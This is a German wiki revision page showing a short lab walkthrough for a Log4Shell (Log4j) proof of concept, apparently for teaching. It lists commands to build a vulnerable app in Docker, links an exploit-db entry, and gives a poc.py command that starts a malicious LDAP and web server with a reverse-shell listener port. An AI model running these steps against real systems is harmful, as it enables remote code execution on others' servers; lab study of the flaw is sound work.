Log4j: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 11: Zeile 11:
 
=Remoteshell listining=
 
=Remoteshell listining=
 
[[Datei:Log4j-2.png]]
 
[[Datei:Log4j-2.png]]
 +
=App starten eventuell auf anderem Rechner=
 +
*git clone https://github.com/kozmer/log4j-shell-poc
 +
*cd log4j-shell-poc
 +
*docker build -t log4j-shell-poc .
 +
*docker run --network host log4j-shell-poc
  
 
=Exploit=
 
=Exploit=
 
*https://www.exploit-db.com/exploits/50592
 
*https://www.exploit-db.com/exploits/50592

Version vom 17. Dezember 2021, 11:09 Uhr

Schaubild

Proof of Concept

Download und entpacken

  • jdk-8u20-linux-x64.tar.gz

Starten des LDAP und Webservers

  • python3 poc.py --userip brian.x-men.de --webport 8000 --lport 4545

Log4j-1.png

Remoteshell listining

Log4j-2.png

App starten eventuell auf anderem Rechner

Exploit